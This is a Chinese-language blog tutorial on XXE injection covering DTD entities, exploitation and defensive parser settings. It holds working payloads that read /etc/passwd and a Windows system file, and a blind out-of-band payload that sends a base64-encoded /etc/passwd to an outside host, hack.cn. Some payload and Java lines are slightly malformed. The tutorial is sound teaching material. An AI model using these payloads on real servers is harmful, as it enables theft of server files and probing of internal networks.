XXE漏洞原理、利用与修复

前言

XML是一种用于标记电子文件使其具有结构性的标记语言,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

DTD-定义

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

PCDATA:

(1)PCDATA 的意思是被解析的字符数据(parsed character data),可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

(2)被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

DTD-元素

在一个 DTD 中,元素通过元素声明来进行声明。

(1)空元素通过类别关键词EMPTY进行声明:

(2)带有任何内容的元素

通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合

DTD-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

(1)内部实体声明

Ex.

(2)实体声明

<!DOCTYPE a [ 
<!ENTITY b SYSTEM "file:///etc/passwd"> 
]>     
<a>&b</a>

注释: 一个实体由三部分构成: 一个和号(&),一个实体名称以及一个分号(;)。

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如图2所示:

(3)下面的实体在XML中被预定义

被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们,如图1所示 。

1

2

XXE漏洞利用

Normal XXE(有回显)

常规外部实体注入:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

Blind XXE(无回显)

利用参数外部实体注入:

参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。

<!DOCTYPE a [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %remote SYSTEM "http://www.hack
.cn/test.dtd”>
%remote;
%int;
%send;
]>

其中test.dtd的内容为:

<!ENTITY % int
"<!ENTITY &#37;  send SYSTEM “http://www.hack.cn/?%file”>"
>
%int;%send;

调用过程:
payload 中连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序:
(1)%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来;
(2)%int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %);
(3)我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

除了读取文件,xxe还能 做很多危险操作,比如

1HTTP 内网主机探测

2HTTP 内网主机端口扫描

3、内网盲注(CTF)

4、钓鱼

参考链接:

https://xz.aliyun.com/t/3357#toc-5

http://www.mottoin.com/detail/738.html

https://www.hackersb.cn/hacker/211.html

https://www.w3school.com.cn/dtd/dtd_building.asp

练习平台:

https://portswigger.net/web-security/xxe

XXE漏洞修复与防御

使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

   转载规则


《XXE漏洞原理、利用与修复》 咸鱼·赵 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
入门现代密码学之AES和RSA 入门现代密码学之AES和RSA
主要讲解AES和RSA的加密流程和加密模式及其所带来的安全弱点和利用方式
2020-09-18
下一篇 
十大经典排序算法整理汇总(附代码) 十大经典排序算法整理汇总(附代码)
本文整理并总结了十大经典的排序算法(冒泡排序、选择排序、插入排序、快速排序、归并排序、希尔排序、计数排序、基数排序、桶排序、堆排序)的时间复杂度、空间复杂度等性质。
2020-02-16
  目录